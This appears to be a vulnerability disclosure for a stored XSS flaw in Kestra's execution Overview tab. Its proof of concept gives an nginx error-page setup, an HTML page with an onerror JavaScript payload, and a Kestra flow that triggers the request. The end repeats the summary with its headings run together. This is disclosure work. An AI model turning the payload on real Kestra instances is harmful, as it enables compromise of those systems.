Summary
Error message in execution "Overview" tab is vulnerable to stored XSS due to improper handling of HTTP response received
PoC
- Host the web server that will return the response with any error code and contain the JS payload in response, sample configuration:
nginx config
server {
listen 80;
server_name your.domain.com;
location / {
return 504;
}
error_page 504 /504_custom.html;
location = /504_custom.html {
root /var/www/html;
internal;
}
}
/var/www/html/504_custom.html
<!DOCTYPE html>
<html>
<head>
<title>504 Gateway Timeout</title>
</head>
<body>
<h1>504 Gateway Timeout</h1>
<img src='#' onerror=alert(location.host) />
</body>
</html>
- Create sample flow that will proceed with http request on this endpoint
id: test_xss
namespace: test.test
tasks:
- id: hello
type: io.kestra.plugin.core.http.Request
uri: http://TARGET_PAGE/
- Execute the flow, as soon as the execution finishes with error, please navigate to the “Overview” page of the current execution
- It will render the response from the page and also executes the JavaScript code in the context of current Kestra instance
Impact
The execution of custom JS code will result in compromise of OSS instance of Kestra
V-Rico Finder
Summary
Error message in execution "Overview" tab is vulnerable to stored XSS due to improper handling of HTTP response received
PoC
nginx config/var/www/html/504_custom.htmlImpact
The execution of custom JS code will result in compromise of OSS instance of Kestra